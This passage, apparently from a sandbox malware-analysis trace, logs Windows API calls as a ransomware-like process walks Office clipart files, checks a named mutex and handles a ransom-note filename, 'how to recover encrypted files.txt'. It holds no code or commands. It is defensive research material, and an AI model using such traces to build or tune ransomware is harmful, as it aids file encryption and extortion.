(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.449] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00037_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.449] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0059.449] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.449] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.449] GlobalLock (hMem=0x440004) returned 0x550170 [0059.449] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.449] GlobalUnlock (hMem=0x440004) returned 0 [0059.449] GlobalLock (hMem=0x440004) returned 0x550170 [0059.449] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.449] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.449] GlobalUnlock (hMem=0x440004) returned 0 [0059.449] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.449] GlobalUnlock (hMem=0x44000c) returned 0 [0059.449] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.449] CharLowerBuffW (in: lpsz="AG00038_.GIF", cchLength=0xc | out: lpsz="ag00038_.gif") returned 0xc [0059.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.450] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00038_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.450] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0059.450] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.450] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.450] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.450] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.450] GlobalUnlock (hMem=0x44000c) returned 0 [0059.450] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.450] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.450] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.450] GlobalUnlock (hMem=0x44000c) returned 0 [0059.451] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.451] GlobalUnlock (hMem=0x440004) returned 0 [0059.451] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.451] CharLowerBuffW (in: lpsz="AG00040_.GIF", cchLength=0xc | out: lpsz="ag00040_.gif") returned 0xc [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.451] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00040_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.452] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0059.452] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.452] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.452] GlobalLock (hMem=0x440004) returned 0x550170 [0059.452] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.452] GlobalUnlock (hMem=0x440004) returned 0 [0059.452] GlobalLock (hMem=0x440004) returned 0x550170 [0059.452] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.452] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.452] GlobalUnlock (hMem=0x440004) returned 0 [0059.452] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.452] GlobalUnlock (hMem=0x44000c) returned 0 [0059.452] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.452] CharLowerBuffW (in: lpsz="AG00052_.GIF", cchLength=0xc | out: lpsz="ag00052_.gif") returned 0xc [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.453] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00052_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.453] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0059.453] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.453] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.453] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.453] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.453] GlobalUnlock (hMem=0x44000c) returned 0 [0059.453] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.453] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.453] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.453] GlobalUnlock (hMem=0x44000c) returned 0 [0059.453] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.453] GlobalUnlock (hMem=0x440004) returned 0 [0059.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.454] CharLowerBuffW (in: lpsz="AG00057_.GIF", cchLength=0xc | out: lpsz="ag00057_.gif") returned 0xc [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.454] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 